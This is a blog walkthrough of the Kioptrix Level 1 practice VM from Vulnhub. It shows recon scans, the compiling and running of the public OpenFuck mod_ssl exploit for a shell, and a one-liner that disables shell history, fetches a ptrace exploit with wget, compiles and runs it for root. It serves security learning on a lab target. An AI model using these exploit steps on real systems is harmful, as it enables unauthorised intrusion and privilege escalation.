Booj thoughts on security

Vulnhub - Kioptrix 1

The Kioptrix series was created by @loneferret as a way of learning about different variations of linux. They are also designed to be very similar to those faced in the OSCP exam. Since I’m eventually hoping to take this certification, this looked like a good candidate to learn from as they have been described as ‘easy’ in the sense that there aren’t too many nasty traps. The first to try is of course Kioptrix: Level 1

As always, find the IP’s of the box we want to target to ensure it’s working.

root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.137.1	00:50:56:c0:00:01	VMware, Inc.
192.168.137.132	00:0c:29:b7:d4:16	VMware, Inc.
192.168.137.254	00:50:56:fe:05:d2	VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.858 seconds (137.78 hosts/sec). 3 responded

Now lets do a port scan to see what services are open.

root@kali:~# nmap -A 192.168.137.132

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-04-18 21:48 BST
Nmap scan report for 192.168.137.132
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1           1024/tcp  status
|_  100024  1           1026/udp  status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2017-04-18T20:50:46+00:00; +1m50s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:B7:D4:16 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms 192.168.137.132

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.91 seconds

Browsing to the http server, we just a pretty simple welcome page, with not too much of interest.

I ran dirbuster hoping there was something more interesting on the server but this didn’t turn up much.

dirbuster
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: /cgi-bin/ - 403
Dir found: / - 200
Dir found: /icons/ - 200
Dir found: /manual/ - 200
Dir found: /manual/mod/ - 200
File found: /test.php - 200
Dir found: /icons/small/ - 200
Dir found: /doc/ - 403
Dir found: /usage/ - 200
File found: /usage/usage_201704.html - 200
File found: /usage/usage_200909.html - 200

So after a lot of fruitless searching, I ended up looking for an Apache 1.3 exploit, hoping to use that as a route onto the server, but there was nothing that looked to give me a way onto the server. I’d seen references to mod_ssl on a couple pages (in fact it’s shown in the nmap scan too), so I tried that.

root@kali:~# searchsploit mod_ssl 2.8

Lo and behold we have three exploits available, with OpenFuckV2 looking to be a way to get us onto the server.

So I downloaded OpenFuckV2 and compiled it according to the changes made here.

gcc -o OpenFuck 764.c -lcrypto

Unfortunately, upon compiling, I got this error.

764.c:646:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function)
  unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
                        ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
764.c: In function ‘read_ssl_packet’:
764.c:848:19: error: ‘SSL2_MT_ERROR’ undeclared (first use in this function)
    if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
                   ^~~~~~~~~~~~~
764.c:848:19: note: each undeclared identifier is reported only once for each function it appears in
764.c: In function ‘get_server_hello’:
764.c:980:16: error: ‘SSL2_MT_SERVER_HELLO’ undeclared (first use in this function)
  if (*(p++) != SSL2_MT_SERVER_HELLO) {
                ^~~~~~~~~~~~~~~~~~~~
764.c: In function ‘send_client_master_key’:
764.c:1072:10: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}if (pkey->type != EVP_PKEY_RSA) {
          ^~
764.c: In function ‘get_server_verify’:
764.c:1149:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function)
  if (buf[0] != SSL2_MT_SERVER_VERIFY) {
                ^~~~~~~~~~~~~~~~~~~~~
764.c: In function ‘send_client_finished’:
764.c:1161:11: error: ‘SSL2_MT_CLIENT_FINISHED’ undeclared (first use in this function)
  buf[0] = SSL2_MT_CLIENT_FINISHED;
           ^~~~~~~~~~~~~~~~~~~~~~~
764.c: In function ‘get_server_finished’:
764.c:1174:16: error: ‘SSL2_MT_SERVER_FINISHED’ undeclared (first use in this function)
  if (buf[0] != SSL2_MT_SERVER_FINISHED) {
                ^~~~~~~~~~~~~~~~~~~~~~~

So, I’m including the error log here in case you stumbled across this page while googling. The reason it seems, according to an unknown user in the comments of this writeup, is that the wrong version of libssl is installed. This is fixed by installing an older version.

apt-get install libssl1.0-dev

So now we need to specify the shellcode we want to send depending on the install. If you run the binary you’ll see a list of all the possibles, but two stand out considering the known apache version and that there is a reference to Red Hat in the nmap scan and peppered around some random exposed files. From this we know that we want 0x6a or 0x6b. 0x6a yielded nothing but 0x6b got us a shell.

root@kali:~/Documents/Kioptrix1# ./OpenFuck 0x6b 192.168.137.132 443 

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fc550
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
bash-2.05$ unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; 
--17:22:06--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... 
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$ 

So the ptrace-kmod.c file didn’t work for some reason. Not having actually read it I didn’t realise this was what allowed us to get root so I spent a much longer time than I want to admit trying to find some other vulnerabilities. After going to back to square one however, I realised this was what would help us get root on the box. So I downloaded it to the box, compiled and ran.

bash-2.05$ gcc -o ptrace ptrace-kmod.c
gcc -o ptrace ptrace-kmod.c
bash-2.05$ ./ptrace
./ptrace
[+] Attached to 1329
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Boom we have root! All in all this is quite a simple box but really helped me bridge that gap in understanding how to use an exploit to compromise a server and actually going about it and troubleshooting issues along the way. I’d highly recommend this, if like me you are new to security and looking to learn more about actually using exploits and information gathering to compromise a system.

comments powered by Disqus